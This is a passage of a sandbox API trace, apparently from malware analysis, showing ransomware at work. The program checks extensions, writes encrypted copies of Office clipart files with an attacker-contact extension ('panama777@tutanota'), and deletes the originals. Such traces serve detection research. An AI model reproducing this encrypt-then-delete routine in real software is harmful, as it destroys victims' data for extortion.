	[0261.085] lstrlenW (lpString=".xlsx") returned 5
	[0261.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.085] lstrlenW (lpString=".ppt") returned 4
	[0261.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString=".zip") returned 4
	[0261.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.085] lstrlenW (lpString=".rar") returned 4
	[0261.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString=".bz2") returned 4
	[0261.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString=".7z") returned 3
	[0261.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString=".dbf") returned 4
	[0261.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.085] lstrlenW (lpString=".1cd") returned 4
	[0261.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63
	[0261.086] lstrlenW (lpString=".jpg") returned 4
	[0261.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.086] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.086] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0261.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.086] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2996) returned 1
	[0261.086] CloseHandle (hObject=0x334) returned 1
	[0261.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20
	[0261.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.087] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.087] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.087] GetLastError () returned 0x0
	[0261.087] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xbb4, lpOverlapped=0x0) returned 1
	[0261.089] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0261.090] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.090] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.090] SetEndOfFile (hFile=0x330) returned 1
	[0261.090] CloseHandle (hObject=0x330) returned 1
	[0261.090] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.090] SetEndOfFile (hFile=0x334) returned 1
	[0261.094] CloseHandle (hObject=0x334) returned 1
	[0261.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0261.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.095] lstrlenW (lpString=".doc") returned 4
	[0261.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.095] lstrlenW (lpString=".docx") returned 5
	[0261.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.095] lstrlenW (lpString=".pdf") returned 4
	[0261.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.095] lstrlenW (lpString=".xls") returned 4
	[0261.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.095] lstrlenW (lpString=".xlsx") returned 5
	[0261.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.095] lstrlenW (lpString=".ppt") returned 4
	[0261.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.095] lstrlenW (lpString=".zip") returned 4
	[0261.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.096] lstrlenW (lpString=".rar") returned 4
	[0261.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString=".bz2") returned 4
	[0261.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString=".7z") returned 3
	[0261.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.096] lstrlenW (lpString=".dbf") returned 4
	[0261.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.096] lstrlenW (lpString=".1cd") returned 4
	[0261.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.096] lstrlenW (lpString=".jpg") returned 4
	[0261.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.096] lstrlenW (lpString=".doc") returned 4
	[0261.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString=".docx") returned 5
	[0261.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.096] lstrlenW (lpString=".pdf") returned 4
	[0261.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.096] lstrlenW (lpString=".xls") returned 4
	[0261.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.096] lstrlenW (lpString=".xlsx") returned 5
	[0261.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.097] lstrlenW (lpString=".ppt") returned 4
	[0261.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.097] lstrlenW (lpString=".zip") returned 4
	[0261.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.097] lstrlenW (lpString=".rar") returned 4
	[0261.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.097] lstrlenW (lpString=".bz2") returned 4
	[0261.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.097] lstrlenW (lpString=".7z") returned 3
	[0261.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.097] lstrlenW (lpString=".dbf") returned 4
	[0261.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.097] lstrlenW (lpString=".1cd") returned 4
	[0261.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63
	[0261.097] lstrlenW (lpString=".jpg") returned 4
	[0261.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.098] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2296) returned 1
	[0261.098] CloseHandle (hObject=0x334) returned 1
	[0261.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20
	[0261.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.098] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.098] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.357] GetLastError () returned 0x0
	[0261.357] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x8f8, lpOverlapped=0x0) returned 1
	[0261.360] WriteFile (in: hFile=0x218, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0261.361] ReadFile (in: hFile=0x334, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.361] WriteFile (in: hFile=0x218, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.361] SetEndOfFile (hFile=0x218) returned 1
	[0261.361] CloseHandle (hObject=0x218) returned 1
	[0261.361] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.361] SetEndOfFile (hFile=0x334) returned 1
	[0261.363] CloseHandle (hObject=0x334) returned 1
	[0261.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0261.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.433] lstrlenW (lpString=".doc") returned 4
	[0261.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.433] lstrlenW (lpString=".docx") returned 5
	[0261.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.433] lstrlenW (lpString=".pdf") returned 4
	[0261.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString=".xls") returned 4
	[0261.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.434] lstrlenW (lpString=".xlsx") returned 5
	[0261.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.434] lstrlenW (lpString=".ppt") returned 4
	[0261.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.434] lstrlenW (lpString=".zip") returned 4
	[0261.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.434] lstrlenW (lpString=".rar") returned 4
	[0261.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString=".bz2") returned 4
	[0261.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString=".7z") returned 3
	[0261.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.434] lstrlenW (lpString=".dbf") returned 4
	[0261.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.434] lstrlenW (lpString=".1cd") returned 4
	[0261.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63
	[0261.434] lstrlenW (lpString=".jpg") returned 4
	[0261.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.435] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=13042) returned 1
	[0261.435] CloseHandle (hObject=0x33c) returned 1
	[0261.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20
	[0261.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0261.435] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.435] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0261.436] GetLastError () returned 0x0
	[0261.436] ReadFile (in: hFile=0x33c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x32f2, lpOverlapped=0x0) returned 1
	[0261.481] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3300, lpOverlapped=0x0) returned 1
	[0261.482] ReadFile (in: hFile=0x33c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.482] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.482] SetEndOfFile (hFile=0x350) returned 1
	[0261.482] CloseHandle (hObject=0x350) returned 1
	[0261.482] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.482] SetEndOfFile (hFile=0x33c) returned 1
	[0261.486] CloseHandle (hObject=0x33c) returned 1
	[0261.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.487] lstrlenW (lpString=".doc") returned 4
	[0261.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.487] lstrlenW (lpString=".docx") returned 5
	[0261.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.487] lstrlenW (lpString=".pdf") returned 4
	[0261.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.487] lstrlenW (lpString=".xls") returned 4
	[0261.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.487] lstrlenW (lpString=".xlsx") returned 5
	[0261.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.487] lstrlenW (lpString=".ppt") returned 4
	[0261.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.487] lstrlenW (lpString=".zip") returned 4
	[0261.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.487] lstrlenW (lpString=".rar") returned 4
	[0261.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.487] lstrlenW (lpString=".bz2") returned 4
	[0261.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.487] lstrlenW (lpString=".7z") returned 3
	[0261.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.488] lstrlenW (lpString=".dbf") returned 4
	[0261.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.488] lstrlenW (lpString=".1cd") returned 4
	[0261.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63
	[0261.488] lstrlenW (lpString=".jpg") returned 4
	[0261.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.499] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=13936) returned 1
	[0261.499] CloseHandle (hObject=0x29c) returned 1
	[0261.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20
	[0261.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.500] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.501] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.501] GetLastError () returned 0x0
	[0261.501] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3670, lpOverlapped=0x0) returned 1
	[0261.502] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3680, lpOverlapped=0x0) returned 1
	[0261.503] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.503] WriteFile (in: hFile=0x2a4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.504] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.504] CloseHandle (hObject=0x2a4) returned 1
	[0261.504] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.504] SetEndOfFile (hFile=0x358) returned 1
	[0261.506] CloseHandle (hObject=0x358) returned 1
	[0261.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0261.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63
	[0261.507] lstrlenW (lpString=".doc") returned 4
	[0261.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.507] lstrlenW (lpString=".docx") returned 5
	[0261.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.507] lstrlenW (lpString=".pdf") returned 4
